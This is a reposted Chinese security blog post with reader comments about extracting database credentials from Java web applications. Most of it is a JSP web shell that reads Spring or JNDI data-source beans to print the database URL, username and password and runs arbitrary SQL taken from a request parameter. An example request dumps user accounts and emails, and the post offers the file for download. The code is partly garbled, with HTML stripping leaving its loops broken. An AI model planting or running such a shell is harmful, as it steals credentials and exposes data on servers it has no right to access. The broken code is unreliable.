Java数据源”Hack”

admin 2021年4月2日19:38:53评论154 views字数 3476阅读11分35秒阅读模式

哦,My God..ApplicationContext.xml找不到明文的数据库连接账号密码!快崩溃了,看过攻击JavaWeb应用[1]-JavaEE 基础攻击JavaWeb应用[7]-Server篇[1]也没能找到数据库密码。

在ApplicationContext看到了dbcp或c3p0的配置,但是那里也没写明文的密码啊?到底要怎么连接数据库?

上图配置了两种常见的数据源,可以一眼就看到数据源具体连接信息。其实我们只需要知道数据源的id就可以连接数据库了。

上次我贴了一段通过Tomcat等Server的数据源连接数据库的代码,其实原理都是一样的找到数据源的id即可连接数据库。








 
");

    //dbcp方式
    BasicDataSource dbcp =  (BasicDataSource)ctx.getBean("jwDataSource");
    out.println("URL:"+dbcp.getUrl()+"
UserName:"+dbcp.getUsername()+"
PassWord:"+dbcp.getPassword()+"
"); out.println("
c3p0:
"); //c3p0 ComboPooledDataSource c3p0 = (ComboPooledDataSource)ctx.getBean("dataSourceGlobal"); out.println("URL:"+c3p0.getJdbcUrl()+"
UserName:"+c3p0.getUser()+"
PassWord:"+c3p0.getPassword()+"
"); out.println("
Sql:"+request.getParameter("sql")+"
"); out.println("
DataSource:
"); Connection c = bds.getConnection(); ResultSet rs = c.prepareStatement(request.getParameter("sql")).executeQuery(); ResultSetMetaData d = rs.getMetaData(); out.println("
");

for (int i = 1; i "+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")t"+"");
}
out.println("

");
while (rs.next()) {
out.println("

");
for (int i = 1; i "+rs.getObject(d.getColumnName(i))+"");
}
out.println("

");
}
%>

效果图:

请求:http://localhost:8080/ylog/spring.jsp?sql=select id,account,email,qq,sign from wps_sys_user会输出数据源账号密码、连接数据库的URL。

现在需要做的就是确定到底是什么类型的数据源?如果是dbcp就删除c3p0对应的部分就行了(需要删除

、

//c3p0

ComboPooledDataSource c3p0 =  (ComboPooledDataSource)ctx.getBean("dataSourceGlobal");

out.println("URL:"+c3p0.getJdbcUrl()+"
UserName:"+c3p0.getUser()+"
PassWord:"+c3p0.getPassword()+"
");

不删除会报错的哦,DBCP同理。如果俩都不确定只需要查询数据库就行了,不想知道数据库账号密码。那么可以吧它俩都干掉!)。

使用Server自带的数据源:









"+request.getParameter("sql")+"
"); out.println("
");
for (int i = 1; i "+d.getColumnName(i)+"("+d.getColumnTypeName(i)+")t"+"");
}
out.println("

");
while (rs.next()) {
out.println("

");
for (int i = 1; i "+rs.getObject(d.getColumnName(i))+"");
}
out.println("

");
}
rs.close();
%>

有的时候并不需要找到这段配置:

只需要在配置文件里面找到java:comp/env/jdbc/ylog就行了(其他Server同理):

测试Sql执行成功.

下载地址:jndi-spring.jsp.zip

PHPtoJava:http://p2j.cn/?p=447

发帖子有点赶。马上得出去跟小伙伴儿搞基,如果有什么错误请见谅。

[原文地址]

相关讨论:

1#

啦绯哥 | 2013-12-29 15:36

小伙伴爆了

2#

无敌L.t.H (:?门安天京北爱我?) | 2013-12-29 15:40

园长又在教坏祖国花朵了。

3#

sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2013-12-29 15:47

@啦绯哥 叫你昨晚轻点,你不听,弄疼人家了

4#

啦绯哥 | 2013-12-29 16:00

@sky 鸡皮疙瘩起了一层,你还不去吃火锅。。。

5#

RedFree (?1:1 1-1-4102 |※(器杀制自) | 2013-12-29 16:18

……………………………………………………………………………………………………………………………

6#

[email protected] | 2013-12-29 16:50

mark

7#

clzzy (南无阿弥陀佛) | 2013-12-30 15:08

BIU图片视频链接

8#

小胖子 (流泪撒种的,必欢呼收割。) | 2013-12-30 15:11

么么哒。

9#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2013-12-30 17:03

mark.

留言评论(旧系统):

佚名 @ 2014-01-02 08:40:05

我了个去,真是瞌睡了,给我发枕头啊

本站回复:

枕头


文章来源于lcx.cc:Java数据源”Hack”

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日19:38:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java数据源”Hack”http://cn-sec.com/archives/316478.html

发表评论

匿名网友 填写信息